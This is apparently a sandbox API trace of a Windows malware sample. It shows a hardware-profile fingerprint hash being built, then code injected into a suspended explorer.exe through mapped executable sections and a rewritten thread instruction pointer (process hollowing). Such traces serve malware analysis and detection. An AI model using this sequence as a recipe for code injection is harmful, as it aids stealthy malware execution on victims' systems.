0xa53690 [0150.779] GetCurrentHwProfileW (in: lpHwProfileInfo=0xa53690 | out: lpHwProfileInfo=0xa53690) returned 1 [0150.796] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x70) returned 0xa505e8 [0150.796] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x20) returned 0xa4b060 [0150.796] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa4b060) returned 1 [0150.796] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x20) returned 0xa4af48 [0150.796] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x20) returned 0xa4af98 [0150.796] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa4af98) returned 1 [0150.796] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x41) returned 0xa4e948 [0150.796] sprintf (in: _Dest=0xa4e948, _Format="%0.2x" | out: _Dest="d0") returned 2 [0150.796] sprintf (in: _Dest=0xa4e94a, _Format="%0.2x" | out: _Dest="e7") returned 2 [0150.796] sprintf (in: _Dest=0xa4e94c, _Format="%0.2x" | out: _Dest="31") returned 2 [0150.796] sprintf (in: _Dest=0xa4e94e, _Format="%0.2x" | out: _Dest="38") returned 2 [0150.796] sprintf (in: _Dest=0xa4e950, _Format="%0.2x" | out: _Dest="58") returned 2 [0150.796] sprintf (in: _Dest=0xa4e952, _Format="%0.2x" | out: _Dest="e3") returned 2 [0150.796] sprintf (in: _Dest=0xa4e954, _Format="%0.2x" | out: _Dest="f9") returned 2 [0150.796] sprintf (in: _Dest=0xa4e956, _Format="%0.2x" | out: _Dest="ca") returned 2 [0150.796] sprintf (in: _Dest=0xa4e958, _Format="%0.2x" | out: _Dest="57") returned 2 [0150.796] sprintf (in: _Dest=0xa4e95a, _Format="%0.2x" | out: _Dest="f4") returned 2 [0150.796] sprintf (in: _Dest=0xa4e95c, _Format="%0.2x" | out: _Dest="c7") returned 2 [0150.796] sprintf (in: _Dest=0xa4e95e, _Format="%0.2x" | out: _Dest="71") returned 2 [0150.796] sprintf (in: _Dest=0xa4e960, _Format="%0.2x" | out: _Dest="32") returned 2 [0150.796] sprintf (in: _Dest=0xa4e962, _Format="%0.2x" | out: _Dest="ee") returned 2 [0150.796] sprintf (in: _Dest=0xa4e964, _Format="%0.2x" | out: _Dest="e3") returned 2 [0150.796] sprintf (in: _Dest=0xa4e966, _Format="%0.2x" | out: _Dest="6b") returned 2 [0150.796] sprintf (in: _Dest=0xa4e968, _Format="%0.2x" | out: _Dest="0a") returned 2 [0150.796] sprintf (in: _Dest=0xa4e96a, _Format="%0.2x" | out: _Dest="6f") returned 2 [0150.797] sprintf (in: _Dest=0xa4e96c, _Format="%0.2x" | out: _Dest="d9") returned 2 [0150.797] sprintf (in: _Dest=0xa4e96e, _Format="%0.2x" | out: _Dest="79") returned 2 [0150.797] sprintf (in: _Dest=0xa4e970, _Format="%0.2x" | out: _Dest="e9") returned 2 [0150.797] sprintf (in: _Dest=0xa4e972, _Format="%0.2x" | out: _Dest="fd") returned 2 [0150.797] sprintf (in: _Dest=0xa4e974, _Format="%0.2x" | out: _Dest="e5") returned 2 [0150.797] sprintf (in: _Dest=0xa4e976, _Format="%0.2x" | out: _Dest="a7") returned 2 [0150.797] sprintf (in: _Dest=0xa4e978, _Format="%0.2x" | out: _Dest="0c") returned 2 [0150.797] sprintf (in: _Dest=0xa4e97a, _Format="%0.2x" | out: _Dest="e0") returned 2 [0150.797] sprintf (in: _Dest=0xa4e97c, _Format="%0.2x" | out: _Dest="c4") returned 2 [0150.797] sprintf (in: _Dest=0xa4e97e, _Format="%0.2x" | out: _Dest="57") returned 2 [0150.797] sprintf (in: _Dest=0xa4e980, _Format="%0.2x" | out: _Dest="db") returned 2 [0150.797] sprintf (in: _Dest=0xa4e982, _Format="%0.2x" | out: _Dest="f6") returned 2 [0150.797] sprintf (in: _Dest=0xa4e984, _Format="%0.2x" | out: _Dest="e5") returned 2 [0150.797] sprintf (in: _Dest=0xa4e986, _Format="%0.2x" | out: _Dest="45") returned 2 [0150.797] RtlInitAnsiString (in: DestinationString=0x8ff7ac, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545" | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") [0150.797] RtlAnsiStringToUnicodeString (in: DestinationString=0x8ff7b4, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545", AllocateDestinationString=1 | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") returned 0x0 [0150.797] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x82) returned 0xa54fc0 [0150.797] RtlFreeAnsiString (AnsiString="d") [0150.797] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa4af48) returned 1 [0150.797] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa505e8) returned 1 [0150.797] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa53690) returned 1 [0150.797] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa55468) returned 1 [0150.797] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x16) returned 0xa602a0 [0150.797] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x20a) returned 0xa614b0 [0150.797] GetSystemDirectoryW (in: lpBuffer=0xa614b0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0150.797] wcscat (in: _Dest=0xa614b0, _Source="\\" | out: _Dest="C:\\WINDOWS\\system32\\") returned="C:\\WINDOWS\\system32\\" [0150.797] wcscat (in: _Dest=0xa614b0, _Source="explorer.exe" | out: _Dest="C:\\WINDOWS\\system32\\explorer.exe") returned="C:\\WINDOWS\\system32\\explorer.exe" [0150.797] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x8, Size=0x28) returned 0xa590f0 [0150.797] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000022, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x8ff7a8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8ff850 | out: lpCommandLine=0x0, lpProcessInformation=0x8ff850*(hProcess=0x1e4, hThread=0x1e8, dwProcessId=0xd94, dwThreadId=0xd98)) returned 1 [0150.981] WaitForDebugEvent (in: lpDebugEvent=0x8ff7ec, dwMilliseconds=0xffffffff | out: lpDebugEvent=0x8ff7ec) returned 1 [0150.984] NtCreateSection (in: SectionHandle=0x8ff4b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x8ff494, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x8ff4b4*=0x204) returned 0x0 [0150.984] NtMapViewOfSection (in: SectionHandle=0x204, ProcessHandle=0xffffffff, BaseAddress=0x8ff4b8*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x8ff4a8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x8ff4b8*=0x950000, SectionOffset=0x0, ViewSize=0x8ff4a8*=0x17000) returned 0x0 [0150.986] NtMapViewOfSection (in: SectionHandle=0x204, ProcessHandle=0x1e4, BaseAddress=0x8ff4b0*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x8ff4a8*=0x17000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x8ff4b0*=0x2c40000, SectionOffset=0x0, ViewSize=0x8ff4a8*=0x17000) returned 0x0 [0150.987] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x950000) returned 0x0 [0150.988] NtClose (Handle=0x204) returned 0x0 [0150.988] NtGetContextThread (in: ThreadHandle=0x1e8, Context=0x8ff4dc | out: Context=0x8ff4dc*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x2a30000, Edx=0x0, Ecx=0x0, Eax=0x39b5c0, Ebp=0x0, Eip=0x77624210, SegCs=0x23, EFlags=0x202, Esp=0x2c3f904, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0xc0, [293]=0x4f, [294]=0x1, [295]=0x1, [296]=0x14, [297]=0x3, [298]=0xa4, [299]=0x0, [300]=0x1, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x68, [305]=0xb9, [306]=0xcf, [307]=0x9d, [308]=0x0, [309]=0x0, [310]=0xa4, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x26, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x60, [321]=0x50, [322]=0xa5, [323]=0x0, [324]=0x39, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x13, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x26, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x1, [340]=0x24, [341]=0x1, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0xa4, [351]=0x0, [352]=0x39, [353]=0x0, [354]=0x0, [355]=0x39, [356]=0xd8, [357]=0x7, [358]=0xa5, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0xe8, [365]=0x7, [366]=0x49, [367]=0x0, [368]=0xff, [369]=0x7, [370]=0x0, [371]=0x0, [372]=0x67, [373]=0x1, [374]=0x0, [375]=0x0, [376]=0xc0, [377]=0x0, [378]=0xa4, [379]=0x0, [380]=0xb0, [381]=0x85, [382]=0xa4, [383]=0x0, [384]=0x16, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0xa4, [391]=0x0, [392]=0xc8, [393]=0xf7, [394]=0x8f, [395]=0x0, [396]=0x26, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x50, [401]=0x2, [402]=0x22, [403]=0x1, [404]=0x18, [405]=0x2, [406]=0x0, [407]=0x0, [408]=0x26, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x60, [413]=0x2, [414]=0xa4, [415]=0x0, [416]=0xe7, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x1, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0xac, [430]=0xa4, [431]=0x0, [432]=0x10, [433]=0x1, [434]=0xa6, [435]=0x0, [436]=0x67, [437]=0x1, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x49, [443]=0x0, [444]=0xc8, [445]=0x1, [446]=0x49, [447]=0x0, [448]=0x80, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x24, [453]=0x1, [454]=0x0, [455]=0x0, [456]=0x20, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x1, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xe8, [469]=0x1, [470]=0x0, [471]=0x1, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0xc0, [481]=0xf7, [482]=0x8f, [483]=0x0, [484]=0xc0, [485]=0x0, [486]=0xa4, [487]=0x0, [488]=0xa8, [489]=0x14, [490]=0xa6, [491]=0x0, [492]=0xa8, [493]=0x14, [494]=0xa6, [495]=0x0, [496]=0xa, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0xb0, [501]=0x14, [502]=0xa6, [503]=0x0, [504]=0x20, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x24, [509]=0x1, [510]=0x0, [511]=0x0))) returned 0x0 [0150.989] NtSetContextThread (ThreadHandle=0x1e8, Context=0x8ff4dc*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x2a30000, Edx=0x0, Ecx=0x0, Eax=0x39b5c0, Ebp=0x0, Eip=0x2c51450, SegCs=0x23, EFlags=0x202, Esp=0x2c3f904, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0xc0, [293]=0x4f, [294]=0x1, [295]=0x1, [296]=0x14, [297]=0x3, [298]=0xa4, [299]=0x0, [300]=0x1, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x68, [305]=0xb9, [306]=0xcf, [307]=0x9d, [308]=0x0, [309]=0x0, [310]=0xa4, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x26, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x60, [321]=0x50, [322]=0xa5, [323]=0x0, [324]=0x39, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x13, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x26, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x1, [340]=0x24, [341]=0x1, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0xa4, [351]=0x0, [352]=0x39, [353]=0x0, [354]=0x0, [355]=0x39, [356]=0xd8, [357]=0x7, [358]=0xa5, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0xe8, [365]=0x7, [366]=0x49, [367]=0x0, [368]=0xff, [369]=0x7, [370]=0x0, [371]=0x0, [372]=0x67, [373]=0x1, [374]=0x0, [375]=0x0, [376]=0xc0, [377]=0x0, [378]=0xa4, [379]=0x0, [380]=0xb0, [381]=0x85, [382]=0xa4, [383]=0x0, [384]=0x16, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0xa4, [391]=0x0, [392]=0xc8, [393]=0xf7, [394]=0x8f, [395]=0x0, [396]=0x26, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x50, [401]=0x2, [402]=0x22, [403]=0x1, [404]=0x18, [405]=0x2, [406]=0x0, [407]=0x0, [408]=0x26, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x60, [413]=0x2, [414]=0xa4, [415]=0x0, [416]=0xe7, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x1, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0xac, [430]=0xa4, [431]=0x0, [432]=0x10, [433]=0x1, [434]=0xa6, [435]=0x0, [436]=0x67, [437]=0x1, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x49, [443]=0x0, [444]=0xc8, [445]=0x1, [446]=0x49, [447]=0x0, [448]=0x80, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x24, [453]=0x1, [454]=0x0, [455]=0x0, [456]=0x20, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x1, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xe8, [469]=0x1, [470]=0x0, [471]=0x1, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0xc0, [481]=0xf7, [482]=0x8f, [483]=0x0, [484]=0xc0, [485]=0x0, [486]=0xa4, [487]=0x0, [488]=0xa8, [489]=0x14, [490]=0xa6, [491]=0x0, [492]=0xa8, [493]=0x14, [494]=0xa6, [495]=0x0, [496]=0xa, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0xb0, [501]=0x14, [502]=0xa6, [503]=0x0, [504]=0x20, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x24, [509]=0x1, [510]=0x0, [511]=0x0))) returned 0x0 [0150.990] ContinueDebugEvent (dwProcessId=0xd94, dwThreadId=0xd98, dwContinueStatus=0x80010001) returned 1 [0150.990] DebugActiveProcessStop (dwProcessId=0xd94) returned 1 [0150.990] RtlFreeHeap (HeapHandle=0xa40000, Flags=0x0, BaseAddress=0xa614b0) returned 1 [0150.990] ExitProcess (uExitCode=0x1) Thread: id = 1460 os_tid = 0xd88 Process: id = "7" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x40e4b000" os_pid = "0xd94" os_integrity_level = "0x2000" 